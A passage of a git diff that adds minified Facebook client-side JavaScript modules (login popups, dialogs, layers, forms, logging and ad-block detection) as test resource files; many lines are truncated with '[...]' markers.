+ConnectLogin={init:function(a){this.appID=a.appID;this.addToProfile=a.addToProfile;this.oneClick=a.oneClick;this.channelUrl=a.channelUrl;XD.init(a);},login:function(a,b,c){if(this.oneClick&&!b){this._oneClick(a);}else this._openPopup(a,b,c);},logout:function(){XD.send({type:'logout'});},_oneClick:function(a){new AsyncRequest().setURI('/ajax/api/tos.php').setData({app_id:this.appID,grant_perm:1}).setHandler(function(b){ConnectLogin._refreshLoginStatus();a&&a();}).send();},_openPopup:funct [...]
+add_properties('Feedback',{registerComment:function(a,b){Feedback.comments[a]=b;return Feedback;},getRegisteredComment:function(a){return Feedback.comments[a];},deleteClickHandler:function(a,b,c,d,e,f){var g=new Dialog().setTitle("Delete post?").setBody("Are you sure you want to delete this post?").setButtons([Dialog.newButton('delete',"Delete"),Dialog.CANCEL]).setHandler(function(event){new AsyncRequest().setURI('/ajax/connect/feedback.php').setData({command:'delete',url:a,uniqid:d,owns [...]
+__d("legacy:coalesce",["coalesce"],function(a,b,c,d){a.coalesce=b('coalesce');},3);
+__d("legacy:control-textarea",["TextAreaControl"],function(a,b,c,d){a.TextAreaControl=b('TextAreaControl');},3);
+function OpenIDRequest(){var a=new AsyncRequest().setReadOnly(true).setHandler(this.asyncResponseHandler.bind(this)).setErrorHandler(this.asyncErrorHandler.bind(this));copyProperties(this,{openidUrl:null,requestId:OpenIDRequest.maxRequestId++,successResponseHandler:null,cancelHandler:null,intermediateHandler:null,immediateMode:false,useExtensions:true,thirdPartyLogin:false,popupWindow:null,asyncRequest:a,retryCount:0});OpenIDRequest.requests[this.requestId]=this;}OpenIDRequest.getRequest [...]
+WidgetArbiter={_findSiblings:function(){if(WidgetArbiter._siblings)return;WidgetArbiter._siblings=[];for(var a=parent.frames.length-1;a>=0;a--)try{if(parent.frames[a]&&parent.frames[a].Arbiter&&parent.frames[a].Arbiter.inform)WidgetArbiter._siblings.push(parent.frames[a].Arbiter);}catch(b){}},inform:function(){WidgetArbiter._findSiblings();var a=$A(arguments);WidgetArbiter._siblings.forEach(function(b){b.inform.apply(b,a);});}};
+var PlatformOptInPopup=function(){};copyProperties(PlatformOptInPopup,{DIALOG_URL:'/connect/uiserver.php',DIALOG_WIDTH:420,DIALOG_HEIGHT:450,APP_ID:127760087237610,open:function(a,b,c){if(!a)a='generic';if(!b)b='plugin.optin';var d=new URI(PlatformOptInPopup.DIALOG_URL);d.addQueryData({social_plugin:a,method:b,display:'popup',secure:URI.getRequestURI().isSecure(),app_id:PlatformOptInPopup.APP_ID});if(c)d.addQueryData(c);return PopupResizer.open(d.toString(),PlatformOptInPopup.DIALOG_WIDT [...]
\ No newline at end of file
diff --git a/src/test/resources/s/cf/Cmazr8ysNP0.js b/src/test/resources/s/cf/Cmazr8ysNP0.js
new file mode 100644
index 0000000..4416f48
--- /dev/null
+++ b/src/test/resources/s/cf/Cmazr8ysNP0.js
@@ -0,0 +1,6 @@
+/*1358951707,178142491*/
+
+if (self.CavalryLogger) { CavalryLogger.start_js(["1HXb5"]); }
+
+__d("legacy:dom-untrusted",["UntrustedLink"],function(a,b,c,d){a.UntrustedLink=b('UntrustedLink');},3);
+function ConnectSocialWidget(a,b){ConnectSocialWidget.setInstance(b,this);ConnectSocialWidget.delayUntilDisplayed(function(){this.initializeObject.call(this,a,b);}.bind(this));}copyProperties(ConnectSocialWidget,{OPT_IN_FACEBOOK_APP_ID:'127760087237610',TYPE_ACTIVITY:'A',TYPE_RECOMMENDATIONS:'R',TYPE_LIKEBOX:'L',instances:{},setInstance:function(a,b){ConnectSocialWidget.instances[a]=b;},getInstance:function(a){return ConnectSocialWidget.instances[a];},popups:{},login:function(a,b){Connec [...]
\ No newline at end of file
diff --git a/src/test/resources/s/cf/E-6Q2pI-TPI.js b/src/test/resources/s/cf/E-6Q2pI-TPI.js
new file mode 100644
index 0000000..cde055c
--- /dev/null
+++ b/src/test/resources/s/cf/E-6Q2pI-TPI.js
@@ -0,0 +1,160 @@
+/*1358850933,173220389*/
+
+if (self.CavalryLogger) { CavalryLogger.start_js(["dAkPD"]); }
+
+__d("legacy:css",["CSS"],function(a,b,c,d){a.CSS=b('CSS');},3);
+__d("legacy:data-store",["DataStore"],function(a,b,c,d){a.DataStore=a.DataStore||b('DataStore');},3);
+__d("legacy:dom",["DOM"],function(a,b,c,d){a.DOM=b('DOM');},3);
+function EmuController(a,b){this.impression=b;this.containerId=a;DataStore.set($(a),'emuController',this);return this;}copyProperties(EmuController,{fromContainer:function(a){var b=ge(a);if(!b)return null;return DataStore.get(b,'emuController');},getEventClass:function(a){return "emuEvent"+String(a).trim();}});copyProperties(EmuController.prototype,{EVENT_HANDLER_PATH:'/ajax/emu/end.php',CLICK:1,FAN:"fad_fan",FOLLOW:"fad_follow",event:function(a,b,c,d){var e={eid:this.impression,f:0,ui:t [...]
+__d("legacy:event-extensions",["Event"],function(a,b,c,d){a.Event=b('Event');},3);
+function BassWhitespaceListener(a,b){this.link=b;Event.listen(a,'click',this.onclicked.bind(this));}copyProperties(BassWhitespaceListener.prototype,{onclicked:function(a){if(Parent.byTag(a.getTarget(),'A'))return;switch(this.link.getAttribute('rel')){case 'async':Bootloader.loadComponents('async',function(){AsyncRequest.bootstrap(this.link.getAttribute('ajaxify'),this.link);}.bind(this));break;case 'theater':var b=Parent.byClass(a.getTarget(),'fbPhotoSnowlift');Bootloader.loadComponents( [...]
+__d("AdblockDetector",[],function(a,b,c,d,e,f){var g='data-adblock-hash',h={},i=0;function j(k,l){var m=k.getAttribute(g);if(!m){m=++i;k.setAttribute(g,m);}else if(h[m]){clearTimeout(h[m]);h[m]=null;}h[m]=setTimeout(function(){h[m]=null;if(!k.offsetHeight){var n=k,o=document.getElementsByTagName('body')[0];while(n&&n!==o){if(n.style.display==='none'||n.style.height==='0px'||n.style.height===0||n.style.height==='0'||n.childNodes.length===0)return;n=n.parentNode;}if(n===o)l&&l(k);}},3000); [...]
+__d("EagleEye",["Arbiter","Env","OnloadEvent","isInIframe"],function(a,b,c,d,e,f){var g=b('Arbiter'),h=b('Env'),i=b('OnloadEvent'),j=b('isInIframe'),k=h.eagleEyeConfig||{},l='_e_',m=(window.name||'').toString();if(m.length==7&&m.substr(0,3)==l){m=m.substr(3);}else{m=k.seed;if(!j())window.name=l+m;}var n=(window.location.protocol=='https:'&&document.cookie.match(/\bcsm=1/))?'; secure':'',o=l+m+'_',p=new Date(Date.now()+604800000).toGMTString(),q=window.location.hostname.replace(/^.*(faceb [...]
+__d("AdblockDetectorLogging",["AdblockDetector","EagleEye"],function(a,b,c,d,e,f){var g=b('AdblockDetector'),h=b('EagleEye');function i(j){g.assertUnblocked(j,h.log.bind(h,'ads',{event:'ads_blocked'}));}f.assertUnblocked=i;});
+__d("legacy:ChannelConstants",["ChannelConstants"],function(a,b,c,d){a.ChannelConstants=b('ChannelConstants');},3);
+__d("ChatConfig",["ChatConfigInitialData","copyProperties"],function(a,b,c,d,e,f){var g=b('ChatConfigInitialData'),h=b('copyProperties'),i={},j={get:function(k,l){return k in i?i[k]:l;},set:function(k){if(arguments.length>1){var l={};l[k]=arguments[1];k=l;}h(i,k);},getDebugInfo:function(){return i;}};j.set(g);e.exports=j;});
+__d("DeprecatedCSSMiscellany",["Style","$","ge"],function(a,b,c,d,e,f){var g=b('Style'),h=b('$'),i=b('ge');function j(){for(var o=0;o<arguments.length;o++){var p=i(arguments[o]);if(p&&p.style)p.style.display='';}return false;}function k(){for(var o=0;o<arguments.length;o++){var p=i(arguments[o]);if(p&&p.style)p.style.display='none';}return false;}function l(o){o=i(o);return (o.style.display!='none'&&!(o.style.display==''&&o.offsetWidth==0));}function m(){for(var o=0;o<arguments.length;o+ [...]
+__d("Vector",["Event","DOMDimensions","DOMPosition","copyProperties"],function(a,b,c,d,e,f){var g=b('Event'),h=b('DOMDimensions'),i=b('DOMPosition'),j=b('copyProperties');function k(l,m,n){j(this,{x:parseFloat(l),y:parseFloat(m),domain:n||'pure'});}j(k.prototype,{toString:function(){return '('+this.x+', '+this.y+')';},add:function(l,m){if(arguments.length==1){if(l.domain!='pure')l=l.convertTo(this.domain);return this.add(l.x,l.y);}var n=parseFloat(l),o=parseFloat(m);return new k(this.x+n [...]
+__d("ViewportBounds",["Style","ge"],function(a,b,c,d,e,f){var g=b('Style'),h=b('ge'),i={top:[],right:[],bottom:[],left:[]};function j(n){return function(){var o=0;i[n].forEach(function(p){o=Math.max(o,p.getSize());});return o;};}function k(n){return function(o){return new l(n,o);};}function l(n,o){this.getSide=bagof(n);this.getSize=function(){return typeof o==='function'?o():o;};i[n].push(this);}l.prototype.remove=function(){i[this.getSide()].remove(this);};var m={getTop:j('top'),getRigh [...]
+__d("isAsyncScrollQuery",["UserAgent"],function(a,b,c,d,e,f){var g=b('UserAgent'),h=null;function i(){if(h===null)h=g.osx()>=10.8&&g.webkit()>=536.25&&!g.chrome();return h;}e.exports=i;});
+__d("ScrollAwareDOM",["ArbiterMixin","CSS","DOM","DOMDimensions","DOMPosition","DOMQuery","HTML","Vector","ViewportBounds","copyProperties","isAsyncScrollQuery"],function(a,b,c,d,e,f){var g=b('ArbiterMixin'),h=b('CSS'),i=b('DOM'),j=b('DOMDimensions'),k=b('DOMPosition'),l=b('DOMQuery'),m=b('HTML'),n=b('Vector'),o=b('ViewportBounds'),p=b('copyProperties'),q=b('isAsyncScrollQuery');function r(w,x){return function(){v.monitor(arguments[w],x.curry.apply(x,arguments));};}function s(w){if(!(w i [...]
+__d("legacy:ScrollAwareDOM",["ScrollAwareDOM"],function(a,b,c,d){a.ScrollAwareDOM=b('ScrollAwareDOM');},3);
+__d("legacy:Style",["Style"],function(a,b,c,d){a.Style=b('Style');},3);
+__d("Base64",[],function(a,b,c,d,e,f){var g='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';function h(l){l=(l.charCodeAt(0)<<16)|(l.charCodeAt(1)<<8)|l.charCodeAt(2);return String.fromCharCode(g.charCodeAt(l>>>18),g.charCodeAt((l>>>12)&63),g.charCodeAt((l>>>6)&63),g.charCodeAt(l&63));}var i='>___?456789:;<=_______'+'\0\1\2\3\4\5\6\7\b\t\n\13\f\r\16\17\20\21\22\23\24\25\26\27\30\31'+'______\32\33\34\35\36\37 !"#$%&\'()*+,-./0123';function j(l){l=(i.charCodeAt(l.charCod [...]
+__d("legacy:base64",["Base64"],function(a,b,c,d){a.Base64=b('Base64');},3);
+__d("LinkshimAsyncLink",["$","AsyncSignal","DOM","UserAgent"],function(a,b,c,d,e,f){var g=b('$'),h=b('AsyncSignal'),i=b('DOM'),j=b('UserAgent'),k={swap:function(l,m){var n=j.ie()<=8;if(n){var o=i.create('wbr',{},null);i.appendContent(l,o);}l.href=m;if(n)i.remove(o);},referrer_log:function(l,m,n){var o=g('meta_referrer');o.content="origin";k.swap(l,m);(function(){o.content="default";new h(n,{}).send();}).defer(100);}};e.exports=k;});
+__d("legacy:dom-asynclinkshim",["LinkshimAsyncLink"],function(a,b,c,d){a.LinkshimAsyncLink=b('LinkshimAsyncLink');},3);
+__d("DOMControl",["DataStore","$","copyProperties"],function(a,b,c,d,e,f){var g=b('DataStore'),h=b('$'),i=b('copyProperties');function j(k){this.root=h(k);this.updating=false;g.set(k,'DOMControl',this);}i(j.prototype,{getRoot:function(){return this.root;},beginUpdate:function(){if(this.updating)return false;this.updating=true;return true;},endUpdate:function(){this.updating=false;},update:function(k){if(!this.beginUpdate())return this;this.onupdate(k);this.endUpdate();},onupdate:function [...]
+__d("Input",["CSS","DOMQuery","DOMControl"],function(a,b,c,d,e,f){var g=b('CSS'),h=b('DOMQuery'),i=b('DOMControl'),j=function(l){var m=l.getAttribute('maxlength');if(m&&m>0)d(['enforceMaxLength'],function(n){n(l,m);});},k={isEmpty:function(l){return !(/\S/).test(l.value||'')||g.hasClass(l,'DOMControl_placeholder');},getValue:function(l){return k.isEmpty(l)?'':l.value;},setValue:function(l,m){g.removeClass(l,'DOMControl_placeholder');l.value=m||'';j(l);var n=i.getInstance(l);n&&n.resetHei [...]
+__d("Form",["Event","AsyncRequest","AsyncResponse","CSS","DOM","DOMPosition","DOMQuery","DataStore","Env","Input","Parent","URI","createArrayFrom","trackReferrer"],function(a,b,c,d,e,f){var g=b('Event'),h=b('AsyncRequest'),i=b('AsyncResponse'),j=b('CSS'),k=b('DOM'),l=b('DOMPosition'),m=b('DOMQuery'),n=b('DataStore'),o=b('Env'),p=b('Input'),q=b('Parent'),r=b('URI'),s=b('createArrayFrom'),t=b('trackReferrer'),u='FileList' in window,v='FormData' in window;function w(y){var z={};r.implodeQue [...]
+__d("legacy:dom-form",["Form"],function(a,b,c,d){a.Form=b('Form');},3);
+__d("legacy:dom-html",["HTML"],function(a,b,c,d){a.HTML=b('HTML');},3);
+__d("legacy:dom-misc",["DeprecatedCSSMiscellany"],function(a,b,c,d){var e=b('DeprecatedCSSMiscellany');a.show=e.show;a.hide=e.hide;a.shown=e.shown;a.toggle=e.toggle;a.toggleDisplayNone=e.toggleDisplayNone;},3);
+__d("legacy:ua",["UserAgent"],function(a,b,c,d){a.ua=b('UserAgent');},3);
+__d("legacy:vector",["Vector"],function(a,b,c,d){a.Vector2=b('Vector');},3);
+__d("FBDesktopDetect",["UserAgent"],function(a,b,c,d,e,f){var g=b('UserAgent'),h='facebook.desktopplugin',i={mimeType:'application/x-facebook-desktop-1',isPluginInstalled:function(){if(g.osx())return false;var j=null;if(a.ActiveXObject){try{j=new a.ActiveXObject(h);if(j)return true;}catch(k){}}else if(a.navigator&&a.navigator.plugins){a.navigator.plugins.refresh(false);for(var l=0,m=a.navigator.plugins.length;l<m;l++){j=a.navigator.plugins[l];if(j.length&&j[0].type===this.mimeType)return [...]
+__d("NavigationMessage",[],function(a,b,c,d,e,f){var g={NAVIGATION_BEGIN:'NavigationMessage/navigationBegin',NAVIGATION_SELECT:'NavigationMessage/navigationSelect',NAVIGATION_FIRST_RESPONSE:'NavigationMessage/navigationFirstResponse',NAVIGATION_COMPLETED:'NavigationMessage/navigationCompleted',NAVIGATION_FAILED:'NavigationMessage/navigationFailed',NAVIGATION_COUNT_UPDATE:'NavigationMessage/navigationCount',NAVIGATION_FAVORITE_UPDATE:'NavigationMessage/navigationFavoriteUpdate',NAVIGATION [...]
+__d("legacy:ui-side-nav-message",["NavigationMessage"],function(a,b,c,d){a.NavigationMessage=b('NavigationMessage');},3);
+__d("SimpleDrag",["Event","ArbiterMixin","UserAgent","Vector","copyProperties","emptyFunction"],function(a,b,c,d,e,f){var g=b('Event'),h=b('ArbiterMixin'),i=b('UserAgent'),j=b('Vector'),k=b('copyProperties'),l=b('emptyFunction');function m(n){this.minDragDistance=0;g.listen(n,'mousedown',this._start.bind(this));}k(m.prototype,h,{setMinDragDistance:function(n){this.minDragDistance=n;},_start:function(event){var n=false,o=true,p=null;if(this.inform('mousedown',event))o=false;if(this.minDra [...]
+__d("event-extensions",["Event"],function(a,b,c,d,e,f){e.exports=b('Event');});
+__d("LinkController",["Event","DataStore","Parent","trackReferrer"],function(a,b,c,d,e,f){var g=b('Event'),h=b('DataStore'),i=b('Parent'),j=b('trackReferrer'),k='LinkControllerHandler',l=[],m=[];function n(event){var r=i.byTag(event.getTarget(),'a'),s=r&&r.getAttribute('href',2);if(!s||r.rel||!p(s)||h.get(r,k))return;var t=g.listen(r,'click',function(u){if(s.charAt(s.length-1)=='#'){u.prevent();return;}j(r,s);o(r,u);});h.set(r,k,t);}function o(r,event){if(r.target||r.rel||event.getModifi [...]
+__d("legacy:link-controller",["LinkController"],function(a,b,c,d){a.LinkController=b('LinkController');},3);
+__d("OnloadHooks",["Arbiter","ErrorUtils","InitialJSLoader","OnloadEvent"],function(a,b,c,d,e,f){var g=b('Arbiter'),h=b('ErrorUtils'),i=b('InitialJSLoader'),j=b('OnloadEvent');function k(){var r=a.CavalryLogger;if(!window.loaded&&r)r.getInstance().setTimeStamp('t_prehooks');n('onloadhooks');if(!window.loaded&&r)r.getInstance().setTimeStamp('t_hooks');window.loaded=true;g.inform('uipage_onload',true,g.BEHAVIOR_STATE);}function l(){n('onafterloadhooks');window.afterloaded=true;}function m( [...]
+__d("legacy:onload-action",["OnloadHooks"],function(a,b,c,d){var e=b('OnloadHooks');a._onloadHook=e._onloadHook;a._onafterloadHook=e._onafterloadHook;a.runHook=e.runHook;a.runHooks=e.runHooks;a.keep_window_set_as_loaded=e.keepWindowSetAsLoaded;},3);
+__d("legacy:input-methods",["Input","copyProperties"],function(a,b,c,d){var e=b('Input'),f=b('copyProperties');f(a.Input||(a.Input={}),e);},3);
+__d("Animation",["CSS","DOM","Style","UserAgent"],function(a,b,c,d,e,f){var g=b('CSS'),h=b('DOM'),i=b('Style'),j=b('UserAgent');function k(l){if(a==this){return new k(l);}else{this.obj=l;this._reset_state();this.queue=[];this.last_attr=null;}}k.resolution=20;k.offset=0;k.prototype._reset_state=function(){this.state={attrs:{},duration:500};};k.prototype.stop=function(){this._reset_state();this.queue=[];return this;};k.prototype._build_container=function(){if(this.container_div){this._refr [...]
+__d("legacy:animation",["Animation"],function(a,b,c,d){a.animation=b('Animation');},3);
+__d("Button",["CSS","DataStore","DOM","Event","Parent","cx","emptyFunction"],function(a,b,c,d,e,f){var g=b('CSS'),h=b('DataStore'),i=b('DOM'),j=b('Event'),k=b('Parent'),l=b('cx'),m=b('emptyFunction'),n='uiButtonDisabled',o='uiButtonDepressed',p="_42fr",q="_42fs",r='button:blocker',s='href',t='ajaxify';function u(aa,ba){var ca=h.get(aa,r);if(ba){if(ca){ca.remove();h.remove(aa,r);}}else if(!ca)h.set(aa,r,j.listen(aa,'click',m.thatReturnsFalse,j.Priority.URGENT));}function v(aa){var ba=k.by [...]
+__d("ContextualThing",["DOM","ge"],function(a,b,c,d,e,f){var g=b('DOM'),h=b('ge'),i={register:function(j,k){j.setAttribute('data-ownerid',g.getID(k));},containsIncludingLayers:function(j,k){while(k){if(g.contains(j,k))return true;k=i.getContext(k);}return false;},getContext:function(j){var k;while(j){if(j.getAttribute&&(k=j.getAttribute('data-ownerid')))return h(k);j=j.parentNode;}return null;}};e.exports=i;});
+__d("Locale",["Style"],function(a,b,c,d,e,f){var g=b('Style'),h,i={isRTL:function(){if(h===undefined)h=('rtl'===g.get(document.body,'direction'));return h;}};e.exports=i;});
+__d("getOverlayZIndex",["Style"],function(a,b,c,d,e,f){var g=b('Style');function h(i,j){j=j||document.body;var k=[];while(i&&i!==j){k.push(i);i=i.parentNode;}if(i!==j)return 0;for(var l=k.length-1;l>=0;l--){var m=k[l];if(g.get(m,'position')!='static'){var n=parseInt(g.get(m,'z-index'),10);if(!isNaN(n))return n;}}return 0;}e.exports=h;});
+__d("Dialog",["array-extensions","Event","Animation","Arbiter","AsyncRequest","Bootloader","Button","ContextualThing","CSS","DOM","Focus","Form","HTML","Keys","Locale","Parent","Run","Style","URI","UserAgent","Vector","bind","copyProperties","createArrayFrom","emptyFunction","getObjectValues","getOverlayZIndex","tx"],function(a,b,c,d,e,f){b('array-extensions');var g=b('Event'),h=b('Animation'),i=b('Arbiter'),j=b('AsyncRequest'),k=b('Bootloader'),l=b('Button'),m=b('ContextualThing'),n=b(' [...]
+__d("legacy:dialog",["Dialog"],function(a,b,c,d){var e=b('Dialog');a.Dialog=e;},3);
+__d("FlipDirectionOnKeypress",["Event","DOM","Input","Style"],function(a,b,c,d,e,f){var g=b('Event'),h=b('DOM'),i=b('Input'),j=b('Style');g.listen(document.documentElement,'keyup',function(event){var k=event.getTarget();if(!h.isNodeOfType(k,['input','textarea']))return;if(h.isNodeOfType(k,'input')&&k.type=='password')return;if(k.getAttribute('data-prevent-auto-flip'))return;var l=i.getValue(k),m=(k.style&&k.style.direction);if(!m){var n=0,o=true;for(var p=0;p<l.length;p++){var q=l.charCo [...]
+__d("PlaceholderOnsubmitFormListener",["Event","Input"],function(a,b,c,d,e,f){var g=b('Event'),h=b('Input');g.listen(document.documentElement,'submit',function(i){var j=i.getTarget().getElementsByTagName('*');for(var k=0;k<j.length;k++)if(j[k].getAttribute('placeholder')&&h.isEmpty(j[k]))h.setValue(j[k],'');});});
+__d("ARIA",["DOM","emptyFunction","ge"],function(a,b,c,d,e,f){var g=b('DOM'),h=b('emptyFunction'),i=b('ge'),j,k,l=function(){j=i('ariaAssertiveAlert');if(!j){j=g.create('div',{id:'ariaAssertiveAlert',className:'accessible_elem','aria-live':'assertive'});g.appendContent(document.body,j);}k=i('ariaPoliteAlert');if(!k){k=j.cloneNode(false);k.setAttribute('id','ariaPoliteAlert');k.setAttribute('aria-live','polite');g.appendContent(document.body,k);}l=h;};function m(o,p){l();var q=p?j:k;g.set [...]
+__d("goOrReplace",["URI","UserAgent"],function(a,b,c,d,e,f){var g=b('URI'),h=b('UserAgent');function i(j,k,l){var m=new g(k);if(j.pathname=='/'&&m.getPath()!='/'&&m.isQuicklingEnabled()){var n=j.search?{}:{q:''};m=new g().setPath('/').setQueryData(n).setFragment(m.getUnqualifiedURI()).toString();k=m.toString();}if(l&&!(h.ie()<8)){j.replace(k);}else if(j.href==k){j.reload();}else j.href=k;}e.exports=i;});
+__d("AjaxPipeRequest",["Arbiter","AsyncRequest","BigPipe","CSS","DOM","Env","JSCC","ScriptPathState","URI","copyProperties","goOrReplace","ge"],function(a,b,c,d,e,f){var g=b('Arbiter'),h=b('AsyncRequest'),i=b('BigPipe'),j=b('CSS'),k=b('DOM'),l=b('Env'),m=b('JSCC'),n=b('ScriptPathState'),o=b('URI'),p=b('copyProperties'),q=b('goOrReplace'),r=b('ge'),s;function t(w,x){var y=r(w);if(y){if(!x)y.style.minHeight='600px';for(var z in i.pageletIDs)if(w!==z&&k.contains(y,z)){g.inform('ajaxpipe/cle [...]
+__d("AsyncRequestNectarLogging",["AsyncRequest","Nectar","copyProperties"],function(a,b,c,d,e,f){var g=b('AsyncRequest'),h=b('Nectar'),i=b('copyProperties');i(g.prototype,{setNectarModuleData:function(j){if(this.method=='POST')h.addModuleData(this.data,j);},setNectarImpressionId:function(){if(this.method=='POST')h.addImpressionID(this.data);}});});
+__d("BehaviorsMixin",["copyProperties"],function(a,b,c,d,e,f){var g=b('copyProperties');function h(l){this._behavior=l;this._enabled=false;}g(h.prototype,{enable:function(){if(!this._enabled){this._enabled=true;this._behavior.enable();}},disable:function(){if(this._enabled){this._enabled=false;this._behavior.disable();}}});var i=1;function j(l){if(!l.__BEHAVIOR_ID)l.__BEHAVIOR_ID=i++;return l.__BEHAVIOR_ID;}var k={enableBehavior:function(l){if(!this._behaviors)this._behaviors={};var m=j( [...]
+__d("BootloadedReact",["Bootloader"],function(a,b,c,d,e,f){var g=b('Bootloader'),h=function(j){g.loadModules(['React'],j);},i={isValidComponent:function(j){return (j&&typeof j.genMarkupIntoContainer==='function'&&typeof j.setAllPropsImpl==='function');},initializeTouchEvents:function(j,k){h(function(l){l.initializeTouchEvents(j);k&&k();});},createComponent:function(j,k){h(function(l){var m=l.createComponent(j);k&&k(m);});},renderComponent:function(j,k,l){h(function(m){var n=m.renderCompo [...]
+__d("ClickRefUtils",[],function(a,b,c,d,e,f){var g={get_intern_ref:function(h){if(!!h){var i={profile_minifeed:1,gb_content_and_toolbar:1,gb_muffin_area:1,ego:1,bookmarks_menu:1,jewelBoxNotif:1,jewelNotif:1,BeeperBox:1,navSearch:1};for(var j=h;j&&j!=document.body;j=j.parentNode){if(!j.id||typeof j.id!=='string')continue;if(j.id.substr(0,8)=='pagelet_')return j.id.substr(8);if(j.id.substr(0,8)=='box_app_')return j.id;if(i[j.id])return j.id;}}return '-';},get_href:function(h){var i=(h.getA [...]
+__d("setUECookie",["Env"],function(a,b,c,d,e,f){var g=b('Env');function h(i){if(!g.no_cookies){var j=0;if(a.afterloaded){j=2;}else if(a.loaded)j=1;document.cookie="act="+encodeURIComponent(i+":"+j)+"; path=/; domain="+window.location.hostname.replace(/^.*(\.facebook\..*)$/i,'$1');}}e.exports=h;});
+__d("ClickRefLogger",["Arbiter","EagleEye","ClickRefUtils","collectDataAttributes","copyProperties","ge","setUECookie","$"],function(a,b,c,d,e,f){var g=b('Arbiter'),h=b('EagleEye'),i=b('ClickRefUtils'),j=b('collectDataAttributes'),k=b('copyProperties'),l=b('ge'),m=b('setUECookie'),n=b('$');function o(q){if(!l('content'))return [0,0,0,0];var r=n('content'),s=a.Vector2?a.Vector2.getEventPosition(q):{x:0,y:0};return [s.x,s.y,r.offsetLeft,r.clientWidth];}function p(q,r,event,s){var t=(!a.Arb [...]
+__d("ContextualDialogFooterLink",["Event","copyProperties","CSS","DOM"],function(a,b,c,d,e,f){var g=b('Event'),h=b('copyProperties'),i=b('CSS'),j=b('DOM');function k(l){this._layer=l;}h(k.prototype,{_subscriptions:null,enable:function(){var l=this._layer.getRoot(),m=j.scry(l,'.uiContextualDialogFooterLink')[0],n='uiContextualDialogHoverFooterArrow';this._subscriptions=[g.listen(m,'mouseenter',i.addClass.curry(l,n)),g.listen(m,'mouseleave',i.removeClass.curry(l,n))];},disable:function(){t [...]
+__d("KeyEventController",["DOM","Event","Run","copyProperties","isEmpty"],function(a,b,c,d,e,f){var g=b('DOM'),h=b('Event'),i=b('Run'),j=b('copyProperties'),k=b('isEmpty');function l(){this.handlers={};document.onkeyup=this.onkeyevent.bind(this,'onkeyup');document.onkeydown=this.onkeyevent.bind(this,'onkeydown');document.onkeypress=this.onkeyevent.bind(this,'onkeypress');}j(l,{instance:null,getInstance:function(){return l.instance||(l.instance=new l());},defaultFilter:function(event,m){e [...]
+__d("Layer",["Event","function-extensions","ArbiterMixin","BehaviorsMixin","BootloadedReact","ContextualThing","CSS","DataStore","DOM","HTML","KeyEventController","Parent","Style","copyProperties","ge"],function(a,b,c,d,e,f){var g=b('Event');b('function-extensions');var h=b('ArbiterMixin'),i=b('BehaviorsMixin'),j=b('BootloadedReact'),k=b('ContextualThing'),l=b('CSS'),m=b('DataStore'),n=b('DOM'),o=b('HTML'),p=b('KeyEventController'),q=b('Parent'),r=b('Style'),s=b('copyProperties'),t=b('ge [...]
+__d("LayerButtons",["Event","Parent","copyProperties"],function(a,b,c,d,e,f){var g=b('Event'),h=b('Parent'),i=b('copyProperties');function j(k){this._layer=k;}i(j.prototype,{_listener:null,enable:function(){this._listener=g.listen(this._layer.getRoot(),'click',this._handle.bind(this));},disable:function(){this._listener.remove();this._listener=null;},_handle:function(k){var l=k.getTarget(),m=h.byClass(l,'layerConfirm');if(m){if(this._layer.inform('confirm',m)===false)k.prevent();return;} [...]
+__d("LayerDestroyOnHide",["function-extensions","copyProperties"],function(a,b,c,d,e,f){b('function-extensions');var g=b('copyProperties');function h(i){this._layer=i;}g(h.prototype,{_subscription:null,enable:function(){this._subscription=this._layer.subscribe('hide',Function.prototype.defer.shield(this._layer.destroy.bind(this._layer)));},disable:function(){if(this._subscription){this._subscription.unsubscribe();this._subscription=null;}}});e.exports=h;});
+__d("LayerFadeOnHide",["Animation","Layer","Style","UserAgent","copyProperties"],function(a,b,c,d,e,f){var g=b('Animation'),h=b('Layer'),i=b('Style'),j=b('UserAgent'),k=b('copyProperties');function l(m){this._layer=m;}k(l.prototype,{_subscription:null,enable:function(){if(j.ie()<9)return;this._subscription=this._layer.subscribe('starthide',this._handleStartHide.bind(this));},disable:function(){if(this._subscription){this._subscription.unsubscribe();this._subscription=null;}},_handleStart [...]
+__d("LayerFadeOnShow",["Animation","Style","UserAgent","copyProperties"],function(a,b,c,d,e,f){var g=b('Animation'),h=b('Style'),i=b('UserAgent'),j=b('copyProperties');function k(l){this._layer=l;}j(k.prototype,{_subscriptions:null,enable:function(){if(i.ie()<9)return;this._subscriptions=[this._layer.subscribe('beforeshow',function(){h.set(this._layer.getRoot(),'opacity',0);}.bind(this)),this._layer.subscribe('show',this._animate.bind(this))];},disable:function(){if(this._subscriptions){ [...]
+__d("LayerFormHooks",["Event","copyProperties"],function(a,b,c,d,e,f){var g=b('Event'),h=b('copyProperties');function i(j){this._layer=j;}h(i.prototype,{_subscriptions:null,enable:function(){var j=this._layer.getRoot();this._subscriptions=[g.listen(j,'submit',this._onSubmit.bind(this)),g.listen(j,'success',this._onSuccess.bind(this)),g.listen(j,'error',this._onError.bind(this))];},disable:function(){this._subscriptions.forEach(function(j){j.remove();});this._subscriptions=null;},_onSubmi [...]
+__d("LayerHideOnBlur",["copyProperties"],function(a,b,c,d,e,f){var g=b('copyProperties');function h(i){this._layer=i;}g(h.prototype,{_subscriptions:null,_onBlur:null,enable:function(){this._subscriptions=[this._layer.subscribe('show',this._attach.bind(this)),this._layer.subscribe('hide',this._detach.bind(this))];if(this._layer.isShown())this._attach();},disable:function(){this._detach();while(this._subscriptions.length)this._subscriptions.pop().unsubscribe();this._subscriptions=null;},_d [...]
+__d("LayerHideOnEscape",["Event","copyProperties","Focus","Keys"],function(a,b,c,d,e,f){var g=b('Event'),h=b('copyProperties'),i=b('Focus'),j=b('Keys');function k(l){this._layer=l;}h(k.prototype,{_subscription:null,enable:function(){this._subscription=this._layer.subscribe('key',this._handle.bind(this));},disable:function(){this._subscription.unsubscribe();this._subscription=null;},_handle:function(l,event){if(g.getKeyCode(event)===j.ESC){var m=this._layer.getCausalElement();if(m)if(m.ta [...]
+__d("LayerHideOnSuccess",["copyProperties"],function(a,b,c,d,e,f){var g=b('copyProperties');function h(i){this._layer=i;}g(h.prototype,{_subscription:null,enable:function(){this._subscription=this._layer.subscribe('success',this._layer.hide.bind(this._layer));},disable:function(){if(this._subscription){this._subscription.unsubscribe();this._subscription=null;}}});e.exports=h;});
